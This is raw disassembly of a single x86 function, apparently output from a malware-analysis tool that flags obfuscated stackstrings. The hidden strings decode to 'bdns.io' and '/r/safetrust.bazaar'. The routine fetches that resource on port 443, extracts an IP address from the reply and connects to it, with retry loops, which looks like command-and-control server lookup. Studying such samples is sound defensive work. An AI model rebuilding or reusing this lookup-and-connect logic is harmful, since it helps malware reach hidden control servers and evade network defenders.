Function at 0x4061de
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
lea ecx, [ebp - 0x3c]
call fcn.0040d507
mov ebx, dword [0x67617f]
xor edi, edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], edi
mov esi, 0xfde9
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xa0]
push esi
push eax
mov dword [ebp - 0x9c], 0x6f692e
mov dword [ebp - 0xa0], 0x736e6462
call fcn.00404608
add esp, 0x10
test eax, eax
je 0x406428
push 0x1bb
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3c]
call fcn.00402855
test eax, eax
je 0x4062c0
push 0xffffffffffffffff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa0]
push esi
push eax
mov dword [ebp - 0x90], 0x7261
mov dword [ebp - 0x94], 0x7a61622e
mov dword [ebp - 0x98], 0x74737572
mov dword [ebp - 0x9c], 0x74656661
mov dword [ebp - 0xa0], 0x732f722f
call fcn.00404608
add esp, 0x10
test eax, eax
je 0x406428
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
lea ecx, [ebp - 0x3c]
call fcn.00407107
test eax, eax
je 0x4062c0
cmp dword [ebp - 0x20], 0xc8
je 0x4062d6
push 0x4e20
inc edi
call ebx
cmp edi, 0x1e
jl 0x40620e
jmp 0x406428
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00409dcf
test eax, eax
je 0x406428
mov ecx, dword [ebp - 0x1c]
cmp ecx, 6
jbe 0x406428
mov eax, dword [ebp - 0xc]
add ecx, eax
jmp 0x40630e
mov dl, byte [eax]
cmp dl, 0x30
jl 0x40630d
cmp dl, 0x39
jle 0x406312
inc eax
cmp eax, ecx
jb 0x406301
mov esi, eax
cmp eax, ecx
jae 0x40632e
mov dl, byte [esi]
cmp dl, 0x30
jl 0x406324
cmp dl, 0x39
jle 0x406329
cmp dl, 0x2e
jne 0x40632e
inc esi
cmp esi, ecx
jb 0x406318
sub esi, eax
cmp esi, 6
jle 0x406428
cmp esi, 0x10
jge 0x406428
push esi
lea ecx, [ebp - 0x14]
push ecx
xor edi, edi
push edi
push eax
call fcn.00404608
add esp, 0x10
test eax, eax
je 0x406428
mov esi, 0x7530
mov ecx, dword [ebp + 8]
push 0x1bb
push dword [ebp - 0x14]
call fcn.004027e6
test eax, eax
jne 0x40637d
push esi
inc edi
call ebx
cmp edi, 0x14
jl 0x406360
cmp edi, 0x14
je 0x406428
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00412d46
pop ecx
pop ecx
test eax, eax
je 0x4063a8
push esi
inc edi
call ebx
cmp edi, 0x14
jl 0x40638b
jmp 0x4063bd
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4063bd
call fcn.00412bbe
push dword [ebp - 4]
call fcn.0040c807
pop ecx
cmp edi, 0x14
je 0x406428
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.0040d3d0
pop ecx
pop ecx
test eax, eax
je 0x4063e4
push esi
inc edi
call ebx
cmp edi, 0x14
jl 0x4063c7
jmp 0x4063f9
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4063f9
call fcn.0040612e
push dword [ebp - 4]
call fcn.0040c807
pop ecx
cmp edi, 0x14
je 0x406428
xor edi, edi
push 0x674953
push dword [ebp + 8]
call fcn.00406008
pop ecx
pop ecx
test eax, eax
jne 0x40641c
push esi
inc edi
call ebx
cmp edi, 0x64
jl 0x406400
cmp edi, 0x64
je 0x406428
mov dword [ebp - 0x18], 1
xor esi, esi
cmp dword [ebp - 0x14], esi
je 0x406438
push dword [ebp - 0x14]
call fcn.0040f1be
pop ecx
cmp dword [ebp - 0x10], esi
je 0x406446
push dword [ebp - 0x10]
call fcn.0040f1be
pop ecx
cmp dword [ebp - 8], esi
je 0x406454
push dword [ebp - 8]
call fcn.0040f1be
pop ecx
cmp dword [ebp - 0xc], esi
pop edi
pop esi
pop ebx
je 0x406465
push dword [ebp - 0xc]
call fcn.0040f1be
pop ecx
lea ecx, [ebp - 0x3c]
call fcn.0040f0d7
mov eax, dword [ebp - 0x18]
leave
ret